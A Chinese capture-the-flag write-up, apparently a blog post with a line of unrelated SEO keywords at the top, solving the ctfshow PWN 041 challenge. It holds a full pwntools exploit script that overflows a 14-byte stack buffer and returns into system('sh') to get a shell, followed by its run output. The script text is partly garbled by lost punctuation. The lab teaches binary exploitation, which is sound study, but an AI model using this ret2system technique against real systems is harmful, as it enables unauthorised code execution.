高级网站开发培训,开发购物网站社交的软件公司,网站开发设计有哪些,WordPress小程序论坛本文仅用于技术研究#xff0c;禁止用于非法用途。 Author:枷锁 在前面的关卡#xff08;pwn 039/040#xff09;中#xff0c;虽然 system 和 /bin/sh 分开了#xff0c;但好歹它们都在。 来到 PWN 041#xff0c;题目给了我们一个更尴尬的局面#xff1a;有 system setvbuf(stdin, 0, 2, 0); puts(Hint: It has system, but dont have /bin/sh...); ctfshow(); puts(\nExit); return 0; }漏洞函数 ctfshowssize_t ctfshow() { _BYTE buf[14]; // [esp6h] [ebp-12h] BYREF // [漏洞点]read 读取 50 字节 // 50 14存在栈溢出 return read(0, buf, 0x32u); }偏移量计算 根据 IDA 注释[ebp-12h]buf距离ebp的偏移是0x12(18 字节)。覆盖返回地址所需长度 18(buf) 4(Old EBP) 22 字节。2. 寻找拼图零件题目提供了两个辅助函数hint 函数int hint() { system(echo flag); return 0; }贡献提供了system函数的 PLT 地址。useful 函数int useful() { return printf(sh); }贡献提供了字符串sh。虽然它是在printf中使用的但字符串本身一定存储在数据段中。第三部分实战操作与 Payload 构造1. 搜集地址我们需要两个地址system函数地址。字符串sh的地址。使用 pwntools 自动搜索# 获取 system 地址 system_addr elf.sym[system] # 获取 sh 地址 # elf.search(bsh) 会返回所有匹配 sh 的地址迭代器 # 使用 next() 获取第一个结果 sh_addr next(elf.search(bsh))2. Payload 构造 (32位 ROP)32位函数调用栈结构Padding 函数地址 返回地址(占位) 参数1# 偏移量 22 offset 22 payload flat([ ba * offset, # 1. 填充 system_addr, # 2. 调用 system 0xdeadbeef, # 3. system 的返回地址 (随便填) sh_addr # 4. system 的参数 (sh) ])3. 完整 EXP 脚本from pwn import * # 1. 基础配置 context.log_level debug context.arch i386 # 2. 建立连接 io process(./pwn) # io remote(pwn.challenge.ctf.show, 28176) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf ELF(./pwn) # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr elf.sym[system] log.success(fSystem Address: {hex(system_addr)}) # [零件2] sh 字符串地址 # 注意有些题目可能没有显式的 sh 字符串但我们可以搜索包含 \x00 结尾的片段 # 或者搜索 sh 两个字符的地址。 # 这里题目特意给了 useful 函数包含 sh所以一定能搜到。 try: sh_addr next(elf.search(bsh)) log.success(fsh Address: {hex(sh_addr)}) except StopIteration: log.error(String sh not found!) # 5. 构造 Payload # 偏移量 18 4 22 offset 22 payload flat([ ba * offset, system_addr, 0, # 返回地址占位符 sh_addr # 参数 sh ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()运行结果[DEBUG] Sent 0x22 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 50 84 04 08 00 00 00 00 ba 87 │aaaa│aaP·│····│··º·│ 00000020 04 08 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结PWN 041 的核心逻辑维度之前的题目 (039)本题 (041)目标system(/bin/sh)system(sh)字符串来源题目直接给出/bin/sh题目隐晦给出sh需搜索核心技巧栈传参字符串替代与搜索核心启示 在 PWN 中我们要学会“妥协”和“寻找替代品”。没有system找execve。没有/bin/sh找sh甚至$0虽然较少见。只要能达到执行 shell 的目的用什么字符串并不重要。Pwntools 的elf.search()是搜寻这些微小碎片的神器。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。